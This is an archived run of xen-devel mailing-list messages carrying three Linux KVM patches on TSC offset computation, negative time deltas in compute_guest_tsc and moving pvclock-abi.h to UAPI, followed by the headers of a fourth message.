Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=7tWCZ3O6g9mRHicwm5+/uwyfebvOB/GXlJK47aUBcYs=; b=IRn8U3JSQsqxuRBHBhPk+7VjVw
	K14km9FYw/AHhg5l66WIvxx9eEvkX+dcmIBtNDKPKbG1Luyw9ZWwJlOETDtakCZf7ZGMsyhaQhiVT
	niHXoWijNtcTKqDN5pfiQjg+8Scjxh5wGVV5P3UeAAJZdF00soXm3IENtMwPX1lpdk8315iLisVjl
	LzktSV7kfA4Vi0NVJS3+BLBRD1FlbpyRwL0EmNwSWJXIcZBuE86JWWN0Qse1g5tEVezH3VdM9nqeV
	1AnHEEaeG0GXKIPqNAPJ3i11pvRvcDAiQ3eaTshS5CWdUu1+OyBHXlNy7l0zUo44jzeT3obFpqIUJ
	Q8VwS/uQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 13/36] KVM: x86: Remove implicit rdtsc() from kvm_compute_l1_tsc_offset()
Date: Tue, 28 Jul 2026 15:39:53 +0100
Message-ID: <20260728144954.355376-14-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1785250222-C12DCB50-4E13AD96/0/0
X-purgate-type: clean
X-purgate-size: 3813

From: David Woodhouse <dwmw@amazon.co.uk>

Let the callers pass the host TSC value in as an explicit parameter.
This leaves some fairly obviously stupid code, which is using this
function to compare the guest TSC at some *other* time, with the
newly-minted TSC value from rdtsc(). Unless it's being used to measure
*elapsed* time, that isn't very sensible.

In this case, "obviously stupid" is an improvement over being
non-obviously so.

No functional change intended.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/msrs.c |  3 ++-
 arch/x86/kvm/x86.c  | 11 ++++++-----
 arch/x86/kvm/x86.h  |  3 ++-
 3 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/arch/x86/kvm/msrs.c b/arch/x86/kvm/msrs.c
index 66fa7140d65d..22ceb39d41f6 100644
--- a/arch/x86/kvm/msrs.c
+++ b/arch/x86/kvm/msrs.c
@@ -1631,7 +1631,8 @@ int kvm_set_msr_common(struct kvm_vcpu *vcpu, struct msr_data *msr_info)
 		if (msr_info->host_initiated) {
 			kvm_synchronize_tsc(vcpu, &data);
 		} else if (!vcpu->arch.guest_tsc_protected) {
-			u64 adj = kvm_compute_l1_tsc_offset(vcpu, data) - vcpu->arch.l1_tsc_offset;
+			u64 adj = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data) -
+				  vcpu->arch.l1_tsc_offset;
 			adjust_tsc_offset_guest(vcpu, adj);
 			vcpu->arch.ia32_tsc_adjust_msr += adj;
 		}
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 77feed979b59..c4fd2367686c 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1153,11 +1153,12 @@ u64 kvm_scale_tsc(u64 tsc, u64 ratio)
 	return _tsc;
 }
 
-u64 kvm_compute_l1_tsc_offset(struct kvm_vcpu *vcpu, u64 target_tsc)
+u64 kvm_compute_l1_tsc_offset(struct kvm_vcpu *vcpu, u64 host_tsc,
+			      u64 target_tsc)
 {
 	u64 tsc;
 
-	tsc = kvm_scale_tsc(rdtsc(), vcpu->arch.l1_tsc_scaling_ratio);
+	tsc = kvm_scale_tsc(host_tsc, vcpu->arch.l1_tsc_scaling_ratio);
 
 	return target_tsc - tsc;
 }
@@ -1319,7 +1320,7 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 	bool synchronizing = false;
 
 	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
-	offset = kvm_compute_l1_tsc_offset(vcpu, data);
+	offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
 	ns = get_kvmclock_base_ns();
 	elapsed = ns - kvm->arch.last_tsc_nsec;
 
@@ -1368,7 +1369,7 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 		} else {
 			u64 delta = nsec_to_cycles(vcpu, elapsed);
 			data += delta;
-			offset = kvm_compute_l1_tsc_offset(vcpu, data);
+			offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(), data);
 		}
 		matched = true;
 	}
@@ -2628,7 +2629,7 @@ void kvm_arch_vcpu_load(struct kvm_vcpu *vcpu, int cpu)
 			mark_tsc_unstable("KVM discovered backwards TSC");
 
 		if (kvm_check_tsc_unstable()) {
-			u64 offset = kvm_compute_l1_tsc_offset(vcpu,
+			u64 offset = kvm_compute_l1_tsc_offset(vcpu, rdtsc(),
 						vcpu->arch.last_guest_tsc);
 			kvm_vcpu_write_tsc_offset(vcpu, offset);
 			if (!vcpu->arch.guest_tsc_protected)
diff --git a/arch/x86/kvm/x86.h b/arch/x86/kvm/x86.h
index 0f5919b092e4..1d9a66048b01 100644
--- a/arch/x86/kvm/x86.h
+++ b/arch/x86/kvm/x86.h
@@ -335,7 +335,8 @@ u64 kvm_scale_tsc(u64 tsc, u64 ratio);
 u64 kvm_read_l1_tsc(struct kvm_vcpu *vcpu, u64 host_tsc);
 u64 kvm_calc_nested_tsc_offset(u64 l1_offset, u64 l2_offset, u64 l2_multiplier);
 u64 kvm_calc_nested_tsc_multiplier(u64 l1_multiplier, u64 l2_multiplier);
-u64 kvm_compute_l1_tsc_offset(struct kvm_vcpu *vcpu, u64 target_tsc);
+u64 kvm_compute_l1_tsc_offset(struct kvm_vcpu *vcpu, u64 host_tsc,
+			      u64 target_tsc);
 void kvm_vcpu_write_tsc_offset(struct kvm_vcpu *vcpu, u64 l1_offset);
 
 static inline void adjust_tsc_offset_guest(struct kvm_vcpu *vcpu,
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374525.1621889 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8z-0006J0-Lj; Tue, 28 Jul 2026 14:50:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374525.1621889; Tue, 28 Jul 2026 14:50:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8y-0006D6-7M; Tue, 28 Jul 2026 14:50:56 +0000
Received: by outflank-mailman (input) for mailman id 1374525;
 Tue, 28 Jul 2026 14:50:24 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8R-0008Dv-Ng
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8R-004rVO-4V; Tue, 28 Jul 2026 16:50:23 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-bab6-0a2a0a5309dd-0a2a4501bf8e-42
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-5984-0a2a45010019-5a9b3222e8c2-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUP3-2REx; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZh-1PBL;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=iB5YYfvike65tIF3MOOBW8Lv1PZp8ABfxzZ5+cQ99SE=; b=mSv1FLKQmy9qmTlaSg8paMot5w
	5myNTsrs1dZDL35ce2gh7Yo5ei9NKVscpYTX7Jy6gk7srDYNbj0B3HiLmIin9OFRKtibsOu+2BehZ
	6Qtj0U3D3yD8WOjOOhB+TSvi/9xZdVBSxq0HwNsbaYljtXQQ0JfrT5r6miVvHqC/UfIQBSzu1CeJv
	W6FiTzFS3hfiN/uZv79cQOCAah4i/cZI6cNV1gAu6Gc+ZEfhgIgCsxOwsbsZ1sVt8xWfeCBGzcxFb
	cEM3muB7ScHvaIW+DBa475+pnF0wUV1cZG+A0Jsp3zwHAr5MBpArDqBggVXFjGY8nKhaHGYk6WVk9
	LCfqUWyw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 29/36] UAPI: x86: Move pvclock-abi to UAPI for x86 platforms
Date: Tue, 28 Jul 2026 15:40:09 +0100
Message-ID: <20260728144954.355376-30-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1785250222-1F66C757-741C5DBA/0/0
X-purgate-type: clean
X-purgate-size: 3570

From: Jack Allister <jalliste@amazon.com>

A subsequent commit will provide a new KVM interface for performing a
fixup/correction of the KVM clock against the reference TSC. The
KVM_[GS]ET_CLOCK_GUEST API requires a pvclock_vcpu_time_info, as such
the caller must know about this definition.

Move the definition to the UAPI folder so that it is exported to
usermode and also change the type definitions to use the standard for
UAPI exports.

Signed-off-by: Jack Allister <jalliste@amazon.com>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 MAINTAINERS                                   |  4 +--
 arch/x86/include/{ => uapi}/asm/pvclock-abi.h | 27 ++++++++++---------
 scripts/xen-hypercalls.sh                     |  2 +-
 3 files changed, 18 insertions(+), 15 deletions(-)
 rename arch/x86/include/{ => uapi}/asm/pvclock-abi.h (82%)

diff --git a/MAINTAINERS b/MAINTAINERS
index 4a8b0fd665ce..4d5e1088458d 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -14546,7 +14546,7 @@ S:	Supported
 T:	git git://git.kernel.org/pub/scm/virt/kvm/kvm.git
 F:	arch/um/include/asm/kvm_para.h
 F:	arch/x86/include/asm/kvm_para.h
-F:	arch/x86/include/asm/pvclock-abi.h
+F:	arch/x86/include/uapi/asm/pvclock-abi.h
 F:	arch/x86/include/uapi/asm/kvm_para.h
 F:	arch/x86/kernel/kvm.c
 F:	arch/x86/kernel/kvmclock.c
@@ -29435,7 +29435,7 @@ R:	Boris Ostrovsky <boris.ostrovsky@oracle.com>
 L:	xen-devel@lists.xenproject.org (moderated for non-subscribers)
 S:	Supported
 F:	arch/x86/configs/xen.config
-F:	arch/x86/include/asm/pvclock-abi.h
+F:	arch/x86/include/uapi/asm/pvclock-abi.h
 F:	arch/x86/include/asm/xen/
 F:	arch/x86/platform/pvh/
 F:	arch/x86/xen/
diff --git a/arch/x86/include/asm/pvclock-abi.h b/arch/x86/include/uapi/asm/pvclock-abi.h
similarity index 82%
rename from arch/x86/include/asm/pvclock-abi.h
rename to arch/x86/include/uapi/asm/pvclock-abi.h
index b9fece5fc96d..6d70cf640362 100644
--- a/arch/x86/include/asm/pvclock-abi.h
+++ b/arch/x86/include/uapi/asm/pvclock-abi.h
@@ -1,6 +1,9 @@
-/* SPDX-License-Identifier: GPL-2.0 */
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
 #ifndef _ASM_X86_PVCLOCK_ABI_H
 #define _ASM_X86_PVCLOCK_ABI_H
+
+#include <linux/types.h>
+
 #ifndef __ASSEMBLER__
 
 /*
@@ -24,20 +27,20 @@
  */
 
 struct pvclock_vcpu_time_info {
-	u32   version;
-	u32   pad0;
-	u64   tsc_timestamp;
-	u64   system_time;
-	u32   tsc_to_system_mul;
-	s8    tsc_shift;
-	u8    flags;
-	u8    pad[2];
+	__u32   version;
+	__u32   pad0;
+	__u64   tsc_timestamp;
+	__u64   system_time;
+	__u32   tsc_to_system_mul;
+	__s8    tsc_shift;
+	__u8    flags;
+	__u8    pad[2];
 } __attribute__((__packed__)); /* 32 bytes */
 
 struct pvclock_wall_clock {
-	u32   version;
-	u32   sec;
-	u32   nsec;
+	__u32   version;
+	__u32   sec;
+	__u32   nsec;
 } __attribute__((__packed__));
 
 #define PVCLOCK_TSC_STABLE_BIT	(1 << 0)
diff --git a/scripts/xen-hypercalls.sh b/scripts/xen-hypercalls.sh
index f18b00843df3..51a722198997 100755
--- a/scripts/xen-hypercalls.sh
+++ b/scripts/xen-hypercalls.sh
@@ -5,7 +5,7 @@ shift
 in="$@"
 
 for i in $in; do
-	eval $CPP $LINUXINCLUDE -dD -imacros "$i" -x c /dev/null
+	eval $CPP -D__KERNEL__ $LINUXINCLUDE -dD -imacros "$i" -x c /dev/null
 done | \
 awk '$1 == "#define" && $2 ~ /__HYPERVISOR_[a-z][a-z_0-9]*/ { v[$3] = $2 }
 	END {   print "/* auto-generated by scripts/xen-hypercall.sh */"
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:51:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:51:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374526.1621899 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj91-0006h2-Ps; Tue, 28 Jul 2026 14:50:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374526.1621899; Tue, 28 Jul 2026 14:50:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj90-0006Zf-6Y; Tue, 28 Jul 2026 14:50:58 +0000
Received: by outflank-mailman (input) for mailman id 1374526;
 Tue, 28 Jul 2026 14:50:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8S-0008Jq-7g
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8R-00BbHr-J7; Tue, 28 Jul 2026 16:50:23 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-2eae-0a2a0a5409dd-0a2a4505e402-48
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-4cb1-0a2a45050019-5a9b32229bba-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOq-0Pyj; Tue, 28 Jul 2026 14:49:56 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYJ-1rI0;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=TzgYEQycZnk9NREs4BkWOyKg6Tp5meskn+6VMFWWmpQ=; b=DZKx6RFvQHAQs1Ojm8AZEO8oH5
	EdXrPppB8RpLp8SjdUC5USPmltd9ZTJnJIw5OXYR+xL5uk00Wq5GotDuiSIBZWs8I7i9yKwfNhMS/
	NsKmg9j/6LwR4eRzAhx9sKuy6/J/fX7nU9Vew91XzYZFeUPOwTEyQOa+SP0vveHaHr3VzVtraDzJ5
	+KtPwFC7rybqp1C6uDODOJ4kuNDepZeX5+DXeOn8r9xA7tooRGLs+EQhChjOHFQdJY+L61w9UXoWY
	mi+pT09OFVSUvomFpPWgAhWBDSNzkLG88+gztgItGkkEceaXLXT5+vp3fctgF0m+6PyB560hhcyru
	bUk+dNTA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 10/36] KVM: x86: Fix compute_guest_tsc() to handle negative time deltas
Date: Tue, 28 Jul 2026 15:39:50 +0100
Message-ID: <20260728144954.355376-11-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c201ff/1785250222-2491C2A1-E88C9274/0/0
X-purgate-type: clean
X-purgate-size: 1831

From: David Woodhouse <dwmw@amazon.co.uk>

The compute_guest_tsc() function computes the guest TSC at a given
kernel_ns timestamp. When the master clock reference point
(master_kernel_ns) is earlier than vcpu->arch.this_tsc_nsec, the delta
is negative. Since pvclock_scale_delta() takes a u64, the negative
value wraps to a huge positive number, producing a wildly wrong result.

Handle negative deltas explicitly by scaling the absolute value of the
delta and applying it to this_tsc_write with the appropriate sign.

This is believed to be unreachable in practice; no path has been
identified which invokes compute_guest_tsc() with a timestamp from
before the vCPU's TSC generation was established. Fix it for
robustness, in the spirit of defence in depth.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index f7a9fb69e69d..52c9268007f8 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1054,11 +1054,15 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
 
 static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
 {
-	u64 tsc = pvclock_scale_delta(kernel_ns-vcpu->arch.this_tsc_nsec,
-				      vcpu->arch.virtual_tsc_mult,
-				      vcpu->arch.virtual_tsc_shift);
-	tsc += vcpu->arch.this_tsc_write;
-	return tsc;
+	s64 delta_ns = kernel_ns - vcpu->arch.this_tsc_nsec;
+	u64 tsc;
+
+	/* Handle negative deltas gracefully (master clock ref may be earlier) */
+	tsc = pvclock_scale_delta(abs(delta_ns),
+				  vcpu->arch.virtual_tsc_mult,
+				  vcpu->arch.virtual_tsc_shift);
+
+	return vcpu->arch.this_tsc_write + (delta_ns >= 0 ? tsc : -tsc);
 }
 
 #ifdef CONFIG_X86_64
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:51:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:51:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374531.1621904 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj93-00079O-64; Tue, 28 Jul 2026 14:51:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374531.1621904; Tue, 28 Jul 2026 14:51:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj92-00074n-7T; Tue, 28 Jul 2026 14:51:00 +0000
Received: by outflank-mailman (input) for mailman id 1374531;
 Tue, 28 Jul 2026 14:50:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8U-0000K0-Rc
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8U-00HSng-1q; Tue, 28 Jul 2026 16:50:26 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a2-e002-0a2a0a5209dd-0a2a45038b12-42
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-fae8-0a2a45030019-5a9b3222874e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOv-1RqP; Tue, 28 Jul 2026 14:49:56 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZQ-0eZI;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
